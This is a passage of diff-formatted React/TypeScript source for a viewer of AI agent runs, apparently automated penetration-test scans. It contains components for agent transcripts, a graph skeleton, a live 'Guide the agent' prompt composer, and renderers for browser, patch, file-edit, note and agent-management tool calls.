const taskByName = new Map<string, string>();
for (const e of events) {
if (e.type === "tool") {
toolCount.set(e.agent_id, (toolCount.get(e.agent_id) ?? 0) + 1);
if (e.data?.tool_name === "create_agent") {
const args = asRecord(e.data.args);
const name = (args.name as string) ?? (args.agent_name as string) ?? "";
const task = (args.task as string) ?? "";
if (name && task) taskByName.set(name, task);
}
} else if (!isUserChat(e)) {
// Count only assistant messages for the graph node subtitle.
messageCount.set(e.agent_id, (messageCount.get(e.agent_id) ?? 0) + 1);
}
}
const map = new Map<string, GraphAgentNode>();
for (const a of agents) {
map.set(a.id, {
id: a.id,
name: a.name,
task: taskByName.get(a.name) ?? "",
status: graphStatus(a.status),
parentId: a.parent_id,
children: childrenOf.get(a.id) ?? [],
createdAt: a.created_at,
toolCount: toolCount.get(a.id) ?? 0,
messageCount: messageCount.get(a.id) ?? 0,
});
}
return map;
}
/* ---------- Per-agent transcript ---------- */
export function AgentTranscript({
agent,
events,
showHeader = true,
}: {
agent: TranscriptAgent;
events: TranscriptEvent[];
showHeader?: boolean;
}) {
const mine = useMemo(() => {
const ordered = events
.filter((e) => e.agent_id === agent.id)
.sort((a, b) => eventSeq(a.id) - eventSeq(b.id));
const hidden = hiddenUserEventIds(ordered);
return ordered.filter((e) => !hidden.has(e.id));
}, [events, agent.id]);
const toolCount = mine.filter((e) => e.type === "tool").length;
const msgCount = mine.length - toolCount;
return (
<div>
{showHeader && (
<>
<div className="flex items-center gap-2 flex-wrap mb-1">
<span className="text-base font-semibold text-white truncate">{agent.name}</span>
<span
className={`flex-shrink-0 text-xs font-medium capitalize px-2 py-0.5 rounded-full border ${
STATUS_STYLE[agent.status] ?? "text-[#aaa] border-[#333] bg-[#1a1a1a]"
}`}
>
{agent.status}
</span>
<span className="font-mono text-xs text-[#555]">{agent.id}</span>
</div>
<p className="text-xs text-[#666] mb-4">
{msgCount} message{msgCount === 1 ? "" : "s"} · {toolCount} tool call
{toolCount === 1 ? "" : "s"}
</p>
</>
)}
{mine.length === 0 ? (
<p className="text-sm text-[#666]">No recorded activity for this agent.</p>
) : (
<div className="py-1">
{mine.map((event, i) => {
const isLast = i === mine.length - 1;
const isTool = event.type === "tool";
const toolName = isTool ? String(event.data?.tool_name ?? "tool") : "";
const role = !isTool ? String(event.data?.role ?? "assistant") : "";
let Icon;
let iconColor: string;
if (isTool) {
const meta = getToolIcon(toolName);
Icon = meta.icon;
iconColor = meta.color;
} else {
const isUser = role === "user" || role === "human";
Icon = isUser ? Bot : Brain;
iconColor = isUser ? "text-blue-400" : "text-purple-400";
}
const status = isTool ? String(event.data?.status ?? "completed") : "completed";
return (
<div key={event.id} className="flex gap-3">
<div className="flex flex-col items-center shrink-0">
<div
className={`w-[30px] h-[30px] rounded-full bg-black border flex items-center justify-center shrink-0 ${
isTool && status === "running"
? "border-blue-500/40 animate-pulse"
: isTool && status === "failed"
? "border-red-500/30"
: "border-[#222]"
}`}
>
<Icon className={`w-3.5 h-3.5 ${iconColor}`} />
</div>
{!isLast && <div className="w-px flex-1 bg-[#1a1a1a] mt-1" />}
</div>
<div className="flex-1 min-w-0 pt-[5px] pb-6">
{isTool ? (
<SafeToolRenderer
toolName={toolName}
args={asRecord(event.data?.args)}
result={coerce(event.data?.result) ?? null}
status={
status as ToolRendererProps["status"]
}
/>
) : (
<ChatBubble
role={role}
content={String(event.data?.content ?? "")}
/>
)}
</div>
</div>
);
})}
</div>
)}
</div>
);
}
@@ -0,0 +1,70 @@
"use client";
function SkeletonNode({ w = 24 }: { w?: number }) {
return (
<div className="w-[180px] h-[72px] rounded-lg border border-[#222] bg-[#0a0a0a] px-3 py-2 shrink-0">
<div className="flex items-center gap-2 mb-1.5">
<div className="w-2 h-2 rounded-full bg-[#2a2a2a]" />
<div className="h-3 rounded bg-[#252525]" style={{ width: `${w * 4}px` }} />
</div>
<div className="h-2 w-28 rounded bg-[#1e1e1e] mb-1.5" />
<div className="flex gap-3">
<div className="h-2 w-8 rounded bg-[#1e1e1e]" />
<div className="h-2 w-8 rounded bg-[#1e1e1e]" />
</div>
</div>
);
}
function VLine() {
return <div className="w-px h-6 bg-[#2a2a2a]" />;
}
function HBranch({ count }: { count: number }) {
return (
<div className="relative flex justify-center">
<div className="absolute top-0 h-px bg-[#2a2a2a]" style={{ width: `${(count - 1) * 220}px` }} />
</div>
);
}
export default function GraphSkeleton() {
return (
<div className="h-full bg-black overflow-hidden">
<div className="flex flex-col items-center pt-10 animate-pulse">
<SkeletonNode w={20} />
<VLine />
<HBranch count={3} />
<div className="flex gap-10">
{[18, 22, 16].map((w, i) => (
<div key={i} className="flex flex-col items-center">
<VLine />
<SkeletonNode w={w} />
</div>
))}
</div>
<div className="flex gap-10 w-full justify-center">
<div className="flex flex-col items-center">
<VLine />
<HBranch count={2} />
<div className="flex gap-10">
{[14, 20].map((w, i) => (
<div key={i} className="flex flex-col items-center">
<VLine />
<SkeletonNode w={w} />
</div>
))}
</div>
</div>
<div className="flex flex-col items-center">
<VLine />
<SkeletonNode w={18} />
<VLine />
<SkeletonNode w={12} />
</div>
<div className="w-[180px]" />
</div>
</div>
</div>
);
}
@@ -0,0 +1,315 @@
import {
useCallback,
useEffect,
useLayoutEffect,
useMemo,
useRef,
useState,
} from "react";
import { ArrowUp, ChevronDown, ChevronUp, Loader2, Sparkles } from "lucide-react";
import { steerAgent, type TranscriptAgent } from "@/data/serverSource";
import { track } from "@/lib/cta";
import { cn } from "@/lib/utils";
const ROOT_TARGET_VALUE = "__root__";
interface ScanPromptComposerProps {
/** All agents in the run; used to resolve the root and running children. */
agents: TranscriptAgent[];
/**
* Single-agent (modal) mode: pins the composer to one agent and shows a
* static "Target: <name>" pill instead of the dropdown. Omit for the
* multi-agent graph variant.
*/
fixedAgentId?: string;
className?: string;
}
/**
* Faithful port of the pro app's ScanPromptComposer for the local viewer.
* Collapsed by default into a "Guide the agent" pill; expands into a card with
* an auto-resizing textarea and a target control. The viewer's steering is
* immediate (no Enterprise lock, no bridge-connecting state), so this is only
* rendered by callers when steering is available. Sends via steerAgent, which
* requires a concrete agent id, so "Root agent" resolves to the root agent's id.
*/
export function ScanPromptComposer({
agents,
fixedAgentId,
className,
}: ScanPromptComposerProps) {
const textareaRef = useRef<HTMLTextAreaElement>(null);
const [expanded, setExpanded] = useState(false);
const [focused, setFocused] = useState(false);
const [value, setValue] = useState("");
const [sending, setSending] = useState(false);
const [feedback, setFeedback] = useState<string | null>(null);
const isModal = fixedAgentId != null;
// Root = the agent with no parent; fall back to the first agent.
const rootAgent = useMemo(
() => agents.find((a) => !a.parent_id) ?? agents[0] ?? null,
[agents]
);
// Multi-agent dropdown options: running child agents plus Root (added in JSX).
const targetOptions = useMemo(
() => agents.filter((a) => a.parent_id && a.status === "running"),
[agents]
);
// Selected target for the multi-agent variant. ROOT sentinel by default.
const [selectedTarget, setSelectedTarget] = useState<string>(ROOT_TARGET_VALUE);
const [menuOpen, setMenuOpen] = useState(false);
// If the selected child target disappears (finished), fall back to Root.
useEffect(() => {
if (
selectedTarget !== ROOT_TARGET_VALUE &&
!targetOptions.some((a) => a.id === selectedTarget)
) {
setSelectedTarget(ROOT_TARGET_VALUE);
}
}, [selectedTarget, targetOptions]);
// Resolve the concrete agent id + display name for the current target.
const { targetId, targetName } = useMemo(() => {
if (isModal) {
const agent = agents.find((a) => a.id === fixedAgentId) ?? null;
return {
targetId: fixedAgentId ?? null,
targetName: agent?.name ?? "this agent",
};
}
if (selectedTarget === ROOT_TARGET_VALUE) {
return {
targetId: rootAgent?.id ?? null,
targetName: "Root agent",
};
}
const agent = agents.find((a) => a.id === selectedTarget) ?? null;
return {
targetId: agent?.id ?? rootAgent?.id ?? null,
targetName: agent?.name ?? "Root agent",
};
}, [agents, fixedAgentId, isModal, rootAgent, selectedTarget]);
const empty = value.trim().length === 0;
// Grow the textarea with its content, capped by max-h via CSS.
useLayoutEffect(() => {
const el = textareaRef.current;
if (!el) return;
el.style.height = "auto";
el.style.height = `${el.scrollHeight}px`;
}, [value]);
const handleExpand = useCallback(() => {
setExpanded(true);
requestAnimationFrame(() => textareaRef.current?.focus());
}, []);
const handleCollapse = useCallback(() => {
setExpanded(false);
setFocused(false);
setMenuOpen(false);
}, []);
const handleSend = useCallback(async () => {
if (sending) return;
const message = value.trim();
if (!message || !targetId) return;
setSending(true);
setFeedback(null);
const name = targetName;
const res = await steerAgent(targetId, message);
setSending(false);
if (res.ok) {
setValue("");
setFeedback(`Sent to ${name}`);
track("agent_steered");
} else if (res.error === "not_delivered") {
setFeedback("Could not reach that agent (it may have finished).");
} else {
setFeedback("Could not send that message. Try again.");
}
}, [sending, value, targetId, targetName]);
if (!expanded) {
return (
<button
type="button"
onClick={handleExpand}
className={cn(
"mt-4 flex w-full items-center justify-between gap-3 rounded-2xl border border-white/[0.08] bg-[#050505] px-5 py-3 text-left transition-colors duration-300 hover:border-white/[0.12] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20",
className
)}
aria-expanded={false}
aria-label="Expand live prompt composer"
>
<div className="flex min-w-0 items-center gap-2">
<Sparkles className="h-4 w-4 shrink-0 text-[#666]" />
<span className="truncate text-sm font-medium text-white">Guide the agent</span>
</div>
<ChevronUp className="h-4 w-4 shrink-0 text-[#777]" />
</button>
);
}
return (
<div
className={cn(
"mt-4 rounded-2xl border border-white/[0.08] bg-[#050505] overflow-hidden transition-colors duration-300",
focused ? "border-white/[0.18]" : "hover:border-white/[0.12]",
className
)}
>
<div className="flex items-center justify-between gap-3 border-b border-white/[0.06] px-5 py-3">
<div className="min-w-0">
<div className="flex items-center gap-2">
<Sparkles className="h-4 w-4 text-[#666]" />
<p className="text-sm font-medium text-white">Live prompt</p>
</div>
<p className="mt-0.5 text-xs text-[#777]">Connected</p>
</div>
<div className="flex shrink-0 items-center gap-2">
{isModal ? (
<div className="rounded-full border border-white/[0.08] bg-white/[0.03] px-3 py-1 text-xs text-[#aaa]">
Target: <span className="text-white">{targetName}</span>
</div>
) : (
<div className="flex items-center gap-1.5">
<span className="text-xs text-[#aaa]">Target:</span>
<div className="relative">
<button
type="button"
onClick={() => setMenuOpen((o) => !o)}
onBlur={() => requestAnimationFrame(() => setMenuOpen(false))}
className="inline-flex h-7 items-center gap-1 rounded-full border border-white/[0.08] bg-white/[0.03] px-3 text-xs text-white transition-colors hover:border-white/[0.16] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20"
aria-haspopup="listbox"
aria-expanded={menuOpen}
>
<span className="max-w-[140px] truncate">{targetName}</span>
<ChevronDown className="h-3.5 w-3.5 text-[#999]" />
</button>
{menuOpen && (
<div
className="absolute right-0 z-10 mt-1 min-w-[160px] overflow-hidden rounded-lg border border-[#333] bg-[#0a0a0a] py-1 shadow-xl"
role="listbox"
>
<TargetMenuItem
label="Root agent"
active={selectedTarget === ROOT_TARGET_VALUE}
onSelect={() => {
setSelectedTarget(ROOT_TARGET_VALUE);
setMenuOpen(false);
}}
/>
{targetOptions.map((option) => (
<TargetMenuItem
key={option.id}
label={option.name}
active={selectedTarget === option.id}
onSelect={() => {
setSelectedTarget(option.id);
setMenuOpen(false);
}}
/>
))}
</div>
)}
</div>
</div>
)}
<button
type="button"
onClick={handleCollapse}
className="inline-flex h-7 w-7 items-center justify-center rounded-full text-[#777] transition-colors hover:bg-white/[0.06] hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20"
aria-label="Collapse live prompt composer"
>
<ChevronDown className="h-4 w-4" />
</button>
</div>
</div>
<div className="px-5 pt-4 pb-3">
<textarea
ref={textareaRef}
rows={1}
value={value}
onChange={(e) => setValue(e.target.value)}
onFocus={() => setFocused(true)}
onBlur={() => setFocused(false)}
onKeyDown={(e) => {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
void handleSend();
}
}}
placeholder="Send a live prompt to the running scan…"
maxLength={4000}
disabled={sending}
className="block w-full resize-none border-0 bg-transparent p-0 text-[15px] leading-6 text-white placeholder:text-[#444] focus:outline-none disabled:opacity-60 max-h-[160px] overflow-y-auto"
/>
</div>
<div className="flex items-center justify-between gap-3 px-4 pb-4">
<div className="text-xs text-[#666]">{feedback ?? "Press Enter to send."}</div>
<button
type="button"
onClick={(event) => {
event.stopPropagation();
void handleSend();
}}
disabled={sending || empty}
className={cn(
"inline-flex h-10 min-w-[112px] items-center justify-center gap-2 rounded-full px-4 text-sm font-medium transition-colors",
sending || empty
? "bg-white/[0.08] text-[#666]"
: "bg-white text-black hover:bg-neutral-200"
)}
>
{sending ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<ArrowUp className="h-4 w-4" strokeWidth={2.5} />
)}
<span>Send prompt</span>
</button>
</div>
</div>
);
}
function TargetMenuItem({
label,
active,
onSelect,
}: {
label: string;
active: boolean;
onSelect: () => void;
}) {
return (
<button
type="button"
role="option"
aria-selected={active}
// onMouseDown so the click lands before the trigger's onBlur closes the menu.
onMouseDown={(e) => {
e.preventDefault();
onSelect();
}}
className={cn(
"block w-full truncate px-3 py-1.5 text-left text-xs transition-colors hover:bg-white/[0.06]",
active ? "text-white" : "text-[#aaa]"
)}
>
{label}
</button>
);
}
export default ScanPromptComposer;
@@ -0,0 +1,92 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
export default function AgentCommsRenderer({ toolName, args }: ToolRendererProps) {
if (toolName === "create_agent") {
const name = (args.name as string) ?? (args.agent_name as string) ?? "";
const task = (args.task as string) ?? "";
return (
<div>
<div className="flex items-center gap-2">
<span className="text-cyan-400/80 font-semibold text-sm">spawning</span>
{name && <span className="text-cyan-400 font-semibold text-sm">{name}</span>}
</div>
{task && <div className="mt-1.5"><TruncatedText text={task} maxLines={15} /></div>}
</div>
);
}
if (toolName === "agent_finish") {
const summary = (args.result_summary as string) ?? "";
const success = args.success as boolean | undefined;
const rawFindings = args.findings;
const findings = Array.isArray(rawFindings) ? rawFindings as string[] : undefined;
return (
<div>
<span className={`font-semibold text-sm ${success === false ? "text-red-400/80" : "text-emerald-400/80"}`}>
{success === false ? "Agent failed" : "Agent completed"}
</span>
{summary && <div className="mt-1.5"><TruncatedText text={summary} maxLines={20} /></div>}
{findings && findings.length > 0 && (
<div className="mt-1.5 space-y-0.5">
{findings.map((f, i) => (
<div key={i} className="text-[13px] text-[#888]"><span className="text-red-400/50 mr-1"></span>{typeof f === "string" ? f : JSON.stringify(f)}</div>
))}
</div>
)}
</div>
);
}
if (toolName === "send_message_to_agent") {
const message = (args.message as string) ?? "";
const agentId = (args.target_agent_id as string) ?? (args.agent_id as string) ?? "";
return (
<div>
<div className="flex items-center gap-2">
<span className="text-cyan-400/80 font-semibold text-sm">message</span>
{agentId && <span className="text-[#888] text-[13px]">to {agentId.slice(0, 16)}</span>}
</div>
{message && <div className="mt-1.5"><TruncatedText text={message} maxLines={20} /></div>}
</div>
);
}
if (toolName === "wait_for_message") {
const reason = (args.reason as string) ?? "";
return (
<div className="flex items-center gap-2">
<span className="text-cyan-400/80 font-semibold text-sm">waiting</span>
{reason && <span className="text-[#888] text-[13px] truncate">{reason}</span>}
</div>
);
}
if (toolName === "stop_agent") {
const targetAgentId = (args.target_agent_id as string) ?? "";
const cascade = args.cascade !== false;
const reason = (args.reason as string) ?? "";
return (
<div>
<div className="flex items-center gap-2 flex-wrap">
<span className="text-red-400/80 font-semibold text-sm">stopping</span>
{targetAgentId && <span className="text-[#888] text-[13px]">{targetAgentId.slice(0, 16)}</span>}
{cascade && <span className="text-[#555] text-[13px] italic">+ descendants</span>}
</div>
{reason && <div className="mt-1.5 text-[#888] text-[13px]">{reason}</div>}
</div>
);
}
if (toolName === "view_agent_graph") {
return (
<span className="text-cyan-400/80 font-semibold text-sm">viewing agents graph</span>
);
}
return (
<span className="text-cyan-400/80 font-semibold text-sm">{toolName.replace(/_/g, " ")}</span>
);
}
@@ -0,0 +1,124 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { shortPath } from "./utils";
const DIFF_PREVIEW_LINES = 30;
const BEGIN_PATCH = "*** Begin Patch";
const END_PATCH = "*** End Patch";
const ADD_FILE = "*** Add File: ";
const UPDATE_FILE = "*** Update File: ";
const DELETE_FILE = "*** Delete File: ";
const OP_LABEL: Record<string, string> = { add: "create", update: "edit", delete: "delete" };
interface PatchOp {
kind: "add" | "update" | "delete";
path: string;
oldLines: string[];
newLines: string[];
}
/** apply_patch args arrive as {patch: text} (chat-completions FunctionTool) or
* {input: text} (CustomTool). Mirrors the OSS `_extract_patch_text`. */
function extractPatchText(args: Record<string, unknown>): string {
const raw = args.patch;
if (typeof raw === "string") return raw;
if (raw && typeof raw === "object" && typeof (raw as Record<string, unknown>).patch === "string") {
return (raw as Record<string, string>).patch;
}
return typeof args.input === "string" ? args.input : "";
}
/** Parse V4A patch text into per-file operations (mirrors `_parse_patch_operations`). */
function parsePatchOperations(patchText: string): PatchOp[] {
const ops: PatchOp[] = [];
let current: PatchOp | null = null;
const flush = () => {
if (current) ops.push(current);
current = null;
};
for (const line of patchText.split("\n")) {
if (line === BEGIN_PATCH || line === END_PATCH) continue;
if (line.startsWith(ADD_FILE)) {
flush();
current = { kind: "add", path: line.slice(ADD_FILE.length).trim(), oldLines: [], newLines: [] };
} else if (line.startsWith(UPDATE_FILE)) {
flush();
current = { kind: "update", path: line.slice(UPDATE_FILE.length).trim(), oldLines: [], newLines: [] };
} else if (line.startsWith(DELETE_FILE)) {
flush();
current = { kind: "delete", path: line.slice(DELETE_FILE.length).trim(), oldLines: [], newLines: [] };
} else if (current?.kind === "update") {
if (line.startsWith("@@")) continue;
if (line.startsWith("-") && !line.startsWith("---")) current.oldLines.push(line.slice(1));
else if (line.startsWith("+") && !line.startsWith("+++")) current.newLines.push(line.slice(1));
} else if (current?.kind === "add") {
if (line.startsWith("+")) current.newLines.push(line.slice(1));
else if (line.trim()) current.newLines.push(line);
}
}
flush();
return ops;
}
function Operation({ op }: { op: PatchOp }) {
const label = OP_LABEL[op.kind] ?? "file";
const total = op.oldLines.length + op.newLines.length;
const truncated = total > DIFF_PREVIEW_LINES;
const oldBudget = truncated && total > 0 ? Math.round(DIFF_PREVIEW_LINES * (op.oldLines.length / total)) : op.oldLines.length;
const newBudget = truncated ? DIFF_PREVIEW_LINES - oldBudget : op.newLines.length;
return (
<div>
<div className="flex items-baseline gap-2">
<span className="text-sky-400/80 font-semibold text-sm shrink-0">{label}</span>
{op.path && <span className="text-[#888] font-mono text-[13px] break-all">{shortPath(op.path)}</span>}
</div>
{(op.oldLines.length > 0 || op.newLines.length > 0) && (
<div className="font-mono text-[13px] leading-relaxed mt-1.5">
{op.oldLines.slice(0, oldBudget).map((line, i) => (
<div key={`o${i}`} className="text-red-400/60">
<span className="select-none text-red-400/30 mr-1">-</span>{line}
</div>
))}
{op.newLines.slice(0, newBudget).map((line, i) => (
<div key={`n${i}`} className="text-emerald-400/60">
<span className="select-none text-emerald-400/30 mr-1">+</span>{line}
</div>
))}
{truncated && <div className="text-[#444] mt-0.5">... {total - DIFF_PREVIEW_LINES} more lines</div>}
</div>
)}
</div>
);
}
export default function ApplyPatchRenderer({ args, result, status }: ToolRendererProps) {
const ops = parsePatchOperations(extractPatchText(args));
if (ops.length === 0) {
return (
<div>
<span className="text-sky-400/80 font-semibold text-sm">patch</span>
{status === "failed" && typeof result === "string" && result.trim() && (
<div className="text-red-400/70 text-[13px] mt-1">{result.trim()}</div>
)}
</div>
);
}
return (
<div className="space-y-2">
{ops.map((op, i) => (
<Operation key={i} op={op} />
))}
{status === "failed" && typeof result === "string" && result.trim() && (
<div className="text-red-400/70 text-[13px]">{result.trim()}</div>
)}
</div>
);
}
@@ -0,0 +1,110 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { SyntaxBlock } from "./ToolCard";
const SIMPLE_ACTIONS: Record<string, string> = {
back: "going back in browser history",
forward: "going forward in browser history",
scroll_down: "scrolling down",
scroll_up: "scrolling up",
refresh: "refreshing",
close_tab: "closing tab",
switch_tab: "switching tab",
list_tabs: "listing tabs",
view_source: "viewing page source",
get_console_logs: "getting console logs",
screenshot: "taking screenshot",
wait: "waiting...",
close: "closing",
};
const CLICK_ACTIONS: Record<string, string> = {
click: "clicking",
double_click: "double clicking",
hover: "hovering",
};
function UrlLabel({ prefix, url, suffix }: { prefix: string; url?: string; suffix?: string }) {
return (
<span className="text-[#888] text-[13px]">
{prefix}
{url && (
<a
href={url}
target="_blank"
rel="noopener noreferrer"
className="text-cyan-400/80 hover:underline"
>
{url}
</a>
)}
{suffix}
</span>
);
}
function describeAction(args: Record<string, unknown>): React.ReactNode {
const action = (args.action as string) ?? "";
const url = (args.url as string) ?? undefined;
// Simple actions (no extra args)
if (action in SIMPLE_ACTIONS) return SIMPLE_ACTIONS[action];
// URL actions: launch, goto, new_tab
if (action === "launch") {
if (!url) return "launching";
return <UrlLabel prefix="launching " url={url} />;
}
if (action === "goto" || action === "navigate") {
return <UrlLabel prefix="navigating to " url={url} />;
}
if (action === "new_tab") {
return <UrlLabel prefix="opening tab " url={url} />;
}
// Click actions
if (action in CLICK_ACTIONS) return CLICK_ACTIONS[action];
// Type
if (action === "type") {
const text = ((args.text as string) ?? "").slice(0, 40);
return `typing "${text}"`;
}
// Key press
if (action === "press_key" || action === "key_press") {
return `pressing key ${(args.key as string) ?? ""}`;
}
// Save PDF
if (action === "save_pdf" || action === "save_as_pdf") {
const path = (args.file_path as string) ?? "";
return `saving PDF${path ? ` to ${path}` : ""}`;
}
// Execute JS — description only, code shown separately
if (action === "execute_js") return "executing javascript";
return action || "browser action";
}
export default function BrowserRenderer({ args }: ToolRendererProps) {
const action = (args.action as string) ?? "";
const jsCode = action === "execute_js"
? ((args.js_code as string) ?? (args.code as string) ?? "")
: "";
const description = describeAction(args);
return (
<div>
<div className="flex items-center gap-2 min-w-0">
<span className="text-blue-400/80 font-semibold text-sm shrink-0">Browser</span>
<span className="min-w-0 truncate text-[#888] text-[13px]">
{typeof description === "string" ? description : description}
</span>
</div>
{jsCode && <SyntaxBlock code={jsCode} language="javascript" collapsible />}
</div>
);
}
@@ -0,0 +1,25 @@
"use client";
import { TruncatedText } from "./ToolCard";
interface ChatBubbleProps {
role: string;
content: string;
}
const MAX_LINES = 30;
export default function ChatBubble({ role, content }: ChatBubbleProps) {
const isUser = role === "user" || role === "human";
return (
<div>
<span className={`font-semibold text-sm ${isUser ? "text-blue-400/80" : "text-purple-400/80"}`}>
{isUser ? "User" : "Thinking"}
</span>
<div className="mt-1.5 italic text-[#888]">
<TruncatedText text={content} maxLines={MAX_LINES} />
</div>
</div>
);
}
@@ -0,0 +1,36 @@
import type { ToolRendererProps } from "@/types/events";
import { CodeBlock } from "./ToolCard";
/**
* Generic renderer for tool names without a dedicated family renderer. Shows the
* humanized tool name plus a pretty-printed dump of args/result. Tolerates the
* server sending args/result as either a parsed object or an unparseable
* Python-repr string (which arrives here wrapped as { __raw }); never crashes.
*/
function pretty(value: unknown): string | null {
if (value == null) return null;
if (typeof value === "string") return value.trim() ? value : null;
if (typeof value === "object") {
const rec = value as Record<string, unknown>;
if (typeof rec.__raw === "string") return rec.__raw;
if (Object.keys(rec).length === 0) return null;
try {
return JSON.stringify(value, null, 2);
} catch {
return String(value);
}
}
return String(value);
}
export default function FallbackRenderer({ toolName, args, result }: ToolRendererProps) {
const argsText = pretty(args);
const resultText = pretty(result);
return (
<div>
<span className="text-[#888] font-semibold text-sm">{toolName.replace(/_/g, " ")}</span>
{argsText && <CodeBlock className="text-[#777]">{argsText}</CodeBlock>}
{resultText && <CodeBlock className="text-[#666]">{resultText}</CodeBlock>}
</div>
);
}
@@ -0,0 +1,65 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { shortPath } from "./utils";
const DIFF_PREVIEW_LINES = 30;
export default function FileEditRenderer({ toolName, args }: ToolRendererProps) {
const filePath = (args.path as string) ?? (args.file_path as string) ?? "";
const command = (args.command as string) ?? "";
const oldStr = (args.old_str as string) ?? "";
const newStr = (args.new_str as string) ?? "";
const regex = (args.regex as string) ?? "";
let label: string;
if (toolName === "list_files") label = "list";
else if (toolName === "search_files") label = "search";
else if (command === "view") label = "view";
else if (command === "create") label = "create";
else if (command === "str_replace") label = "edit";
else if (command === "undo_edit") label = "undo";
else if (command === "insert") label = "insert";
else label = "file";
const pathDisplay = filePath ? shortPath(filePath) : "";
const regexDisplay = regex ? ` /${regex}/` : "";
const oldLines = oldStr ? oldStr.split("\n") : [];
const newLines = newStr ? newStr.split("\n") : [];
const totalLines = oldLines.length + newLines.length;
const truncated = totalLines > DIFF_PREVIEW_LINES;
// If truncated, split the budget proportionally
const oldBudget = truncated ? Math.round(DIFF_PREVIEW_LINES * (oldLines.length / totalLines)) : oldLines.length;
const newBudget = truncated ? DIFF_PREVIEW_LINES - oldBudget : newLines.length;
return (
<div>
<div className="flex items-baseline gap-2">
<span className="text-sky-400/80 font-semibold text-sm shrink-0">{label}</span>
{pathDisplay && <span className="text-[#888] font-mono text-[13px] break-all">{pathDisplay}</span>}
</div>
{regexDisplay && (
<div className="text-purple-400/60 font-mono text-[13px] break-all mt-0.5">{regexDisplay}</div>
)}
{(oldStr || newStr) && (
<div className="font-mono text-[13px] leading-relaxed mt-1.5">
{oldLines.slice(0, oldBudget).map((line, i) => (
<div key={`o${i}`} className="text-red-400/60">
<span className="select-none text-red-400/30 mr-1">-</span>{line}
</div>
))}
{newLines.slice(0, newBudget).map((line, i) => (
<div key={`n${i}`} className="text-emerald-400/60">
<span className="select-none text-emerald-400/30 mr-1">+</span>{line}
</div>
))}
{truncated && (
<div className="text-[#444] mt-0.5">... {totalLines - DIFF_PREVIEW_LINES} more lines</div>
)}
</div>
)}
</div>
);
}
@@ -0,0 +1,32 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import { TruncatedText } from "./ToolCard";
export default function FinishRenderer({ args }: ToolRendererProps) {
const executiveSummary = (args.executive_summary as string) ?? "";
const methodology = (args.methodology as string) ?? "";
const technicalAnalysis = (args.technical_analysis as string) ?? "";
const recommendations = (args.recommendations as string) ?? "";
return (
<div className="space-y-3">
<span className="text-emerald-400/80 font-semibold text-sm">Penetration test completed</span>
{executiveSummary && (
<div><span className="text-emerald-400/60 text-sm font-semibold">Executive Summary</span><div className="mt-1"><TruncatedText text={executiveSummary} maxLines={25} /></div></div>
)}
{methodology && (
<div><span className="text-emerald-400/60 text-sm font-semibold">Methodology</span><div className="mt-1"><TruncatedText text={methodology} maxLines={25} /></div></div>
)}
{technicalAnalysis && (
<div><span className="text-emerald-400/60 text-sm font-semibold">Technical Analysis</span><div className="mt-1"><TruncatedText text={technicalAnalysis} maxLines={25} /></div></div>
)}
{recommendations && (
<div><span className="text-emerald-400/60 text-sm font-semibold">Recommendations</span><div className="mt-1"><TruncatedText text={recommendations} maxLines={25} /></div></div>
)}
{!executiveSummary && !methodology && !technicalAnalysis && !recommendations && (
<div className="text-[#555] text-xs">Generating final report...</div>
)}
</div>
);
}
@@ -0,0 +1,20 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
export default function LoadSkillRenderer({ args }: ToolRendererProps) {
const requestedRaw = (args.skills as string) ?? "";
const requestedSkills = requestedRaw
.split(",")
.map((skill) => skill.trim())
.filter(Boolean);
return (
<div className="flex items-center gap-2">
<span className="text-emerald-400/80 font-semibold text-sm">Loading skill</span>
{requestedSkills.length > 0 && (
<span className="text-[#888] text-[13px]">{requestedSkills.join(", ")}</span>
)}
</div>
);
}
@@ -0,0 +1,24 @@
"use client";
import ReactMarkdown from "react-markdown";
import remarkGfm from "remark-gfm";
import { rehypeCodeMeta, mdComponents } from "@/components/vulnerability/MdCodeBlock";
interface MarkdownProps {
text: string;
className?: string;
}
export default function Markdown({ text, className = "" }: MarkdownProps) {
return (
<div className={`prose-markdown ${className}`}>
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[rehypeCodeMeta]}
components={mdComponents}
>
{text}
</ReactMarkdown>
</div>
);
}
@@ -0,0 +1,87 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
import Markdown from "./Markdown";
export default function NotesRenderer({ toolName, args, result }: ToolRendererProps) {
if (toolName === "create_note") {
const title = (args.title as string) ?? "";
const content = (args.content as string) ?? "";
const category = (args.category as string) ?? "general";
return (
<div>
<div className="flex items-center gap-2">
<span className="text-amber-400/80 font-semibold text-sm">note</span>
<span className="text-[#555] text-[13px]">({category})</span>
</div>
{title && <div className="mt-1.5 text-[#999] text-[13px]">{title}</div>}
{content && <div className="mt-1"><Markdown text={content} /></div>}
</div>
);
}
if (toolName === "delete_note") {
return <span className="text-amber-400/80 font-semibold text-sm">note removed</span>;
}
if (toolName === "update_note") {
const title = (args.title as string) ?? "";
const content = (args.content as string) ?? "";
return (
<div>
<span className="text-amber-400/80 font-semibold text-sm">note updated</span>
{title && <div className="mt-1.5 text-[#999] text-[13px]">{title}</div>}
{content && <div className="mt-1"><Markdown text={content} /></div>}
</div>
);
}
if (toolName === "get_note") {
const res = result as Record<string, unknown> | null;
const note = res && typeof res === "object" && res.success
? (res.note as Record<string, string> | undefined)
: undefined;
return (
<div>
<span className="text-amber-400/80 font-semibold text-sm">note read</span>
{note && (
<>
<div className="mt-1.5 text-[#999] text-[13px]">
{note.title ?? "(untitled)"}
<span className="text-[#555] ml-1">({note.category ?? "general"})</span>
</div>
{note.content && <div className="mt-1"><Markdown text={note.content} /></div>}
</>
)}
</div>
);
}
if (toolName === "list_notes") {
const res = result as Record<string, unknown> | null;
let notes: Array<Record<string, string>> = [];
if (res && typeof res === "object" && res.success) {
const rawNotes = res.notes;
notes = Array.isArray(rawNotes) ? rawNotes as Array<Record<string, string>> : [];
}
return (
<div>
